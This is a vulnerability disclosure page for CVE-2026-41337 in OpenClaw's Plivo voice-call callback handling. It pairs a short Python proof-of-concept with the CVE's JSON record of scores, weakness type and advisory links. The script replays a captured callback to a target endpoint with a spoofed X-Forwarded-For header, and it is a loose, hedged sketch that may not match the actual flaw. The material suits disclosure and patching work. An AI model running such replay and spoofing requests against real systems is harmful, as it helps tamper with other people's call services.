CVE-2026-41337

# PoC for CVE-2026-41337: OpenClaw Callback Origin Mutation # This script demonstrates how an attacker might attempt to mutate the callback origin. import requests target_url = "http://target-openclaw-instance/api/plivo/callback" # Simulated captured valid callback data for a live call original_payload = { "CallUUID": "12345678-1234-1234-1234-123456789012", "From": "+1234567890", "To": "+0987654321", "Direction": "inbound" } # Headers simulating a legitimate request initially headers = { "User-Agent": "Plivo", "Content-Type": "application/json" } # The vulnerability allows mutating the origin before replay rejection is checked. # Attackers might modify the Host header or X-Forwarded-For if the logic relies on them. malicious_headers = headers.copy() malicious_headers["X-Forwarded-For"] = "192.168.1.100" # Mutating origin print(f"Sending payload to {target_url} with mutated origin...") try: response = requests.post(target_url, json=original_payload, headers=malicious_headers, timeout=5) if response.status_code == 200: print("[+] Request accepted, potential mutation successful.") else: print(f"[-] Request rejected with status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}")

{"cve": {"id": "CVE-2026-41337", "sourceIdentifier": "[email protected]", "published": "2026-04-23T22:16:39.780", "lastModified": "2026-04-28T18:55:58.307", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenClaw before 2026.3.31 contains a callback origin mutation vulnerability in Plivo voice-call replay that allows attackers to mutate in-process callback origin before replay rejection. Attackers with captured valid callbacks for live calls can exploit this to manipulate callback origins during the replay process."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-367"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openclaw:openclaw:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "2026.3.31", "matchCriteriaId": "35B1FB5C-EA5A-4095-9226-F947A9B3B984"}]}]}], "references": [{"url": "https://github.com/openclaw/openclaw/commit/efe9183f9d2fd5e01c8068fa01f4a07a58a63c0b", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-89r3-6x4j-v7wf", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.vulncheck.com/advisories/openclaw-callback-origin-mutation-in-plivo-voice-call-replay", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}